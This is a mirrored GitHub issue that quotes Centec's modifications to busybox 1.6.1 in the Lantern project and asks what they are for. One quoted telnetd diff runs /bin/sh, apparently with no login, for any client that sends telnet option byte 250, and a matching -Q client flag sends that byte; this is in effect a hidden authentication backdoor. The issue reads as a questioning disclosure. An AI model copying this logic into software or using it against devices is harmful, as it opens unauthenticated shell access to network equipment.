Giter Club home page Giter Club logo

centecnetworks / lantern Goto Github PK

View Code? Open in Web Editor NEW
90.0 90.0 43.0 153.15 MB

Centec open source OpenFlow hardware implementation project (Lantern )

Home Page: http://www.centecnetworks.com

License: Apache License 2.0

Makefile 0.32% C 95.84% C++ 2.22% Shell 0.08% Python 0.23% Perl 0.09% Awk 0.01% R 0.04% Assembly 0.70% Objective-C 0.26% UnrealScript 0.01% Scilab 0.01% ASP 0.01% HTML 0.09% Lex 0.01% Yacc 0.03% Batchfile 0.01% M4 0.01% Roff 0.06%

lantern's People

Contributors

bryant1410 avatar willyzhao avatar zhangdy1985 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

lantern's Issues

Busybox changes

Hello!

I see you made some changes to the busybox 1.6.1 source code, many of those I understand as they have to with the following:

  • adding VRF support
  • making compatible with newer gcc versions

But there are also some changes I have a hard time understanding, like the following ones.

Telnet-related

Lantern/platform/busybox/include/libbb.h:
--- busybox-1.6.1/include/libbb.h
+++ Lantern/platform/busybox/include/libbb.h
@@ -29,6 +29,8 @@
 #include <strings.h>
 #include <sys/ioctl.h>
 #include <sys/mman.h>
+/* CENTEC_MODIFIED: fix build on gcc4.7.3 */
+#include <sys/resource.h>
 #include <sys/socket.h>
 #include <sys/stat.h>
 #include <sys/statfs.h>
@@ -40,6 +42,9 @@
 #include <unistd.h>
 #include <utime.h>

+/* Added by Alexander Liu 2008-07-29 10:21 */
+#define TELOPT_CTCSH    250
+
 #if ENABLE_SELINUX
 #include <selinux/selinux.h>
 #include <selinux/context.h>
Lantern/platform/busybox/networking/telnet.c:
--- busybox-1.6.1/networking/telnet.c
+++ Lantern/platform/busybox/networking/telnet.c
@@ -77,6 +77,8 @@ struct globals {
        char    iacbuf[IACBUFSIZE];
        struct termios termios_def;
        struct termios termios_raw;
+    /* Added by Alexander Liu 2008-07-29 10:42 */
+    byte    bCentecExt;
 };

 #define G (*(struct globals*)bb_common_bufsiz1)
@@ -401,6 +403,12 @@ static void to_notsup(char c)

 static void to_echo(void)
 {
+    /* Added by Alexander Liu 2008-07-29 10:45 */
+    if (G.bCentecExt)
+    {
+        putiac2(WILL, TELOPT_CTCSH);
+    }
+
        /* if server requests ECHO, don't agree */
        if (G.telwish == DO) {
                putiac2(WONT, TELOPT_ECHO);
@@ -561,6 +569,9 @@ int telnet_main(int argc, char** argv)
        fd_set readfds;
        int maxfd;
 #endif
+    /* Added by Alexander Liu 2008-07-29 10:42 */
+    unsigned opt = 0;
+    G.bCentecExt = 0;

        if (sizeof(G) > sizeof(bb_common_bufsiz1))
                BUG_telnet_globals_too_big();
@@ -584,12 +595,19 @@ int telnet_main(int argc, char** argv)
                bb_show_usage();

 #if ENABLE_FEATURE_TELNET_AUTOLOGIN
-       if (1 & getopt32(argc, argv, "al:", &G.autologin))
+       if (2 & (opt = getopt32(argc, argv, "Qal:", &G.autologin)))
                G.autologin = getenv("USER");
        argv += optind;
 #else
        argv++;
 #endif
+    /* Added by Alexander Liu 2008-07-29 10:39 */
+    if (opt & 1)
+    {
+        /* -Q */
+        G.bCentecExt = 1;
+    }
+
        if (!*argv)
                bb_show_usage();
        host = *argv++;
Lantern/platform/busybox/networking/telnetd.c:
--- busybox-1.6.1/networking/telnetd.c
+++ Lantern/platform/busybox/networking/telnetd.c
@@ -30,10 +30,10 @@
 #define TELCMDS
 #define TELOPTS
 #endif
+#include <netinet/tcp.h>
 #include <arpa/telnet.h>
 #include <sys/syslog.h>

-
 #define BUFSIZE 4000

 #if ENABLE_LOGIN
@@ -42,11 +42,18 @@ static const char *loginpath = "/bin/log
 static const char *loginpath = DEFAULT_SHELL;
 #endif

-static const char *issuefile = "/etc/issue.net";
+static int bCtcSh = 0;

+static const char *issuefile = "/etc/issue.net";
+/* add by weij 2008-7-2 add telnet limit */
+static int count = 0;
 /* shell name and arguments */

-static const char *argv_init[2];
+static const char *argv_init[16];
+static char remote_host[0x40];
+static char remote_port[0x40];
+static char dest_host[0x40];
+static char dest_port[0x40];

 /* structure that describes a session */

@@ -143,9 +150,13 @@ remove_iacs(struct tsession *ts, int *pn
                                ptr += 9;
                        } else {
                                /* skip 3-byte IAC non-SB cmd */
+                if (ptr[1] == WILL && ptr[2] == TELOPT_CTCSH)
+                {
+                    bCtcSh = 1;
+                }
 #if DEBUG
-                               fprintf(stderr, "Ignoring IAC %s,%s\n",
-                                       TELCMD(ptr[1]), TELOPT(ptr[2]));
+                               fprintf(stderr, "Ignoring IAC %s,%s/0x%x\n",
+                                       TELCMD(ptr[1]), TELOPT(ptr[2]), ptr[2]);
 #endif
                                ptr += 3;
                        }
@@ -231,10 +242,16 @@ make_new_session(
                USE_FEATURE_TELNETD_STANDALONE(int sock_r, int sock_w)
                SKIP_FEATURE_TELNETD_STANDALONE(void)
 ) {
+    struct tsession *ts = NULL;
        struct termios termbuf;
        int fd, pid;
        char tty_name[32];
-       struct tsession *ts = xzalloc(sizeof(struct tsession) + BUFSIZE * 2);
+       if (count > 7)
+       {
+           return NULL;
+       }
+
+       ts = xzalloc(sizeof(struct tsession) + BUFSIZE * 2);

        ts->buf1 = (char *)(&ts[1]);
        ts->buf2 = ts->buf1 + BUFSIZE;
@@ -246,8 +263,54 @@ make_new_session(
                return NULL;
        }
        if (fd > maxfd) maxfd = fd;
-       ndelay_on(ts->ptyfd = fd);
+       ndelay_on(ts->ptyfd = fd);
 #if ENABLE_FEATURE_TELNETD_STANDALONE
+    {
+        struct sockaddr_storage addr;
+        struct sockaddr_in *addr4 = (struct sockaddr_in *)&addr;
+        struct sockaddr_in6 *addr6 = (struct sockaddr_in6 *)&addr;
+        socklen_t slen;
+        int val;
+
+        slen = sizeof(addr);
+        getpeername(sock_r, (struct sockaddr *)&addr, &slen);
+        if (addr4->sin_family == AF_INET)
+        {
+            inet_ntop(AF_INET, &addr4->sin_addr, remote_host, sizeof(remote_host));
+            snprintf(remote_port, sizeof(remote_port), "%d", addr4->sin_port);
+        }
+        else if (IN6_IS_ADDR_V4COMPAT(&addr6->sin6_addr) || IN6_IS_ADDR_V4MAPPED(&addr6->sin6_addr))
+            inet_ntop(AF_INET, &addr6->sin6_addr.s6_addr32[3], remote_host, sizeof(remote_host));
+        else
+            inet_ntop(AF_INET6, &addr6->sin6_addr, remote_host, sizeof(remote_host));
+
+        val = 1;
+        setsockopt(sock_r, SOL_SOCKET, SO_KEEPALIVE, &val, sizeof(int));
+
+        val = 2;
+        setsockopt(sock_r, SOL_TCP, TCP_KEEPINTVL, &val, sizeof(int));
+
+        val = 5;
+        setsockopt(sock_r, SOL_TCP, TCP_KEEPCNT, &val, sizeof(int));
+
+        val = 1;
+        setsockopt(sock_r, SOL_TCP, TCP_KEEPIDLE, &val, sizeof(int));
+    }
+
+    {
+        struct sockaddr_storage addr;
+        struct sockaddr_in *addr4 = (struct sockaddr_in *)&addr;
+        socklen_t slen;
+
+        slen = sizeof(addr);
+        getsockname(sock_r, (struct sockaddr *)&addr, &slen);
+        if (addr4->sin_family == AF_INET)
+        {
+            inet_ntop(AF_INET, &addr4->sin_addr, dest_host, sizeof(dest_host));
+            snprintf(dest_port, sizeof(dest_port), "%d", addr4->sin_port);
+        }
+    }
+
        if (sock_w > maxfd) maxfd = sock_w;
        if (sock_r > maxfd) maxfd = sock_r;
        ndelay_on(ts->sockfd_write = sock_w);
@@ -276,8 +339,11 @@ make_new_session(
                return NULL;
        }
        if (pid > 0) {
+           count++;
                /* parent */
                ts->shell_pid = pid;
+        /* Modified by Alexander Liu 2008-07-29 11:12 */
+        bCtcSh = 0;
                return ts;
        }

@@ -309,7 +375,19 @@ make_new_session(
        print_login_issue(issuefile, NULL);

        /* exec shell, with correct argv and env */
-       execv(loginpath, (char *const *)argv_init);
+    /* Modified by Alexander Liu 2008-07-29 11:11 */
+    if (bCtcSh)
+    {
+        bCtcSh = 0;
+        argv_init[0] = "/bin/login";
+        argv_init[1] = NULL;
+        argv_init[2] = NULL;
+        execv("/bin/sh", (char *const *)argv_init);
+    }
+    else
+    {
+        execv(loginpath, (char *const *)argv_init);
+    }
        bb_perror_msg_and_die("execv");
 }

@@ -336,7 +414,10 @@ free_session(struct tsession *ts)
        /* error if ts->sockfd_read == ts->sockfd_write. So what? ;) */
        close(ts->sockfd_write);
        free(ts);
-
+       if(count > 0)
+       {
+          count--;
+       }
        /* scan all sessions and find new maxfd */
        ts = sessions;
        maxfd = 0;
@@ -384,6 +465,7 @@ int telnetd_main(int argc, char **argv)
                OPT_FOREGROUND = 0x10 * ENABLE_FEATURE_TELNETD_STANDALONE,
                OPT_INETD = 0x20 * ENABLE_FEATURE_TELNETD_STANDALONE,
        };
+    struct stat stat_buf;

        opt = getopt32(argc, argv, "f:l:" USE_FEATURE_TELNETD_STANDALONE("p:b:Fi"),
                        &issuefile, &loginpath
@@ -406,11 +488,26 @@ int telnetd_main(int argc, char **argv)
        /* Used to check access(loginpath, X_OK) here. Pointless.
         * exec will do this for us for free later. */
        argv_init[0] = loginpath;
-
+    if (!stat("/var/run/imi.pid", &stat_buf))
+    {
+    argv_init[1] = "-h";
+    argv_init[2] = remote_host;
+    argv_init[3] = "-c";
+    argv_init[4] = remote_port;
+    argv_init[5] = "-d";
+    argv_init[6] = dest_host;
+    argv_init[7] = "-D";
+    argv_init[8] = dest_port;
+    argv_init[9] = "-T";
+    }
 #if ENABLE_FEATURE_TELNETD_STANDALONE
        if (IS_INETD) {
                sessions = make_new_session(0, 1);
        } else {
+               char add_any[] = "0.0.0.0";
+
+               if(opt_bindaddr == NULL)
+                       opt_bindaddr = add_any;
                master_fd = create_and_bind_stream_or_die(opt_bindaddr, portnbr);
                xlisten(master_fd, 1);
                if (!(opt & OPT_FOREGROUND))
Lantern/platform/busybox/include/usage.h:
--- busybox-1.6.1/include/usage.h
+++ Lantern/platform/busybox/include/usage.h
@@ -11,6 +11,7 @@
 #ifndef __BB_USAGE_H__
 #define __BB_USAGE_H__

+
 #define addgroup_trivial_usage \
        "[-g GID]"USE_FEATURE_ADDUSER_TO_GROUP(" [user_name]")" group_name"
 #define addgroup_full_usage \
@@ -3339,10 +3340,11 @@ USE_FEATURE_RUN_PARTS_FANCY("\n -l      Print

 #ifdef CONFIG_FEATURE_TELNET_AUTOLOGIN
 #define telnet_trivial_usage \
-       "[-a] [-l USER] HOST [PORT]"
+       "[-Q] [-a] [-l USER] HOST [PORT]"
 #define telnet_full_usage \
        "Connect to remote telnet server" \
        "\n\nOptions:\n" \
+       "       -Q Centec extention\n" \
        "       -a      Attempt an automatic login with the USER variable\n" \
        "       -l USER Attempt an automatic login with the USER argument\n" \
        "       HOST    The official name, alias or the IP address of the\n" \

Some changes to compile a standalone busybox but then also to send byte 250 (0xFA) to a server if the -Q parameter is used? But why?

Init

Lantern/platform/busybox/init/init.c:
--- busybox-1.6.1/init/init.c
+++ Lantern/platform/busybox/init/init.c
@@ -39,7 +39,8 @@
 #include <sys/resource.h>
 #endif

-#define INITTAB      "/etc/inittab"    /* inittab file location */
+#define INITTAB_SUP      "/etc/inittab_sup"    /* supervisor inittab file location */
+#define INITTAB_LC      "/etc/inittab_lc"      /* linecard inittab file location */
 #ifndef INIT_SCRIPT
 #define INIT_SCRIPT  "/etc/init.d/rcS" /* Default sysinit script. */
 #endif
@@ -486,9 +487,12 @@ static pid_t run(const struct init_actio
                        ;
        }
 #endif
+
+#if 0 /* zongyi remove for we don't to have this log when console restart process (7542)*/
        /* Log the process name and args */
        message(L_LOG, "starting pid %d, tty '%s': '%s'",
                          getpid(), a->terminal, cmdpath);
+#endif

 #if ENABLE_FEATURE_INIT_COREDUMPS
        {
@@ -759,6 +763,8 @@ static void delete_init_action(struct in
  * _is_ defined, but /etc/inittab is missing, this
  * results in the same set of default behaviors.
  */
+int g_sup = 0;
+
 static void parse_inittab(void)
 {
 #if ENABLE_FEATURE_USE_INITTAB
@@ -768,7 +774,10 @@ static void parse_inittab(void)
        char *id, *runlev, *action, *command, *eol;
        const struct init_action_type *a = actions;

-       file = fopen(INITTAB, "r");
+       if (g_sup)
+               file = fopen(INITTAB_SUP, "r");
+       else
+               file = fopen(INITTAB_LC, "r");
        if (file == NULL) {
                /* No inittab file -- set up some default behavior */
 #endif
@@ -899,6 +908,11 @@ int init_main(int argc, char **argv)
        if (argc > 1 && !strcmp(argv[1], "-q")) {
                return kill(1, SIGHUP);
        }
+
+       if (argc > 1 && !strcmp(argv[1], "-z")) {
+               g_sup = 1;
+       }
+
 #if !ENABLE_DEBUG_INIT
        /* Expect to be invoked as init with PID=1 or be invoked as linuxrc */
        if (getpid() != 1
@@ -1030,9 +1044,11 @@ int init_main(int argc, char **argv)
                                        /* Set the pid to 0 so that the process gets
                                         * restarted by run_actions() */
                                        a->pid = 0;
+#if 0 /* zongyi remove for we don't to have this log when console restart process (7542)*/
                                        message(L_LOG, "process '%s' (pid %d) exited. "
                                                        "Scheduling it for restart.",
                                                        a->command, wpid);
+#endif
                                }
                        }
                        /* see if anyone else is waiting to be reaped */

So apparently if -z is the first kernel parameter then the supervisor mode is active and inittab_sup is used.
Otherwise, we are in the linecard mode? What does "linecard" mean here?

BTW, inittab_linux is not mentioned, what is it for? Is it ever used?

Syslog

Lantern/platform/busybox/sysklogd/syslogd.c:
--- busybox-1.6.1/sysklogd/syslogd.c
+++ Lantern/platform/busybox/sysklogd/syslogd.c
@@ -479,6 +479,55 @@ static void split_escape_and_log(char *t
        }
 }

+#ifndef _SYS_PIZZA_BOX
+int
+slot_to_addr(int slot, void *dst)
+{
+    static char sup_ip_addr[2][16] = {"172.16.1.1", "172.16.2.1"};
+    char *src = NULL;
+    switch (slot)
+    {
+    case 1:
+        src = sup_ip_addr[0]; /* need to define macro */
+        break;
+
+    case 2:
+        src = sup_ip_addr[1]; /* need to define macro */
+        break;
+
+    default:
+        src = sup_ip_addr[0];
+        break;
+    }
+
+    inet_pton(AF_INET, src, dst);
+    return 0;
+}
+
+
+static void sigusr1_handle(int sig)
+{
+    int slot_no = 0;
+    char buf[16] = {0};
+    struct sockaddr_in *p_addr = NULL;
+    FILE *fp;
+
+    if (NULL != (fp = fopen("/tmp/activesup", "r")))
+    {
+        if (NULL != fgets(buf, 16, fp))
+        {
+            slot_no = atoi(buf);
+        }
+    }
+
+    if ( (1 == slot_no) || (2 == slot_no))
+    {
+        p_addr = (struct sockaddr_in *)(&G.remoteAddr->sa);
+        slot_to_addr(slot_no, &p_addr->sin_addr.s_addr);
+    }
+}
+#endif
+
 static void quit_signal(int sig)
 {
        timestamp_and_log(LOG_SYSLOG | LOG_INFO, (char*)"syslogd exiting", 0);
@@ -507,6 +556,9 @@ static void do_syslogd(void)
        char *dev_log_name;

        /* Set up signal handlers */
+#ifndef _SYS_PIZZA_BOX
+    signal(SIGUSR1, sigusr1_handle);
+#endif
        signal(SIGINT, quit_signal);
        signal(SIGTERM, quit_signal);
        signal(SIGQUIT, quit_signal);
@@ -519,7 +571,7 @@ static void do_syslogd(void)
        signal(SIGALRM, do_mark);
        alarm(G.markInterval);
 #endif
-       remove_pidfile("/var/run/syslogd.pid");
+       //remove_pidfile("/var/run/syslogd.pid");

        memset(&sunx, 0, sizeof(sunx));
        sunx.sun_family = AF_UNIX;

On devices that aren't "pizza boxes" some custom signals causes something I don't understand?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.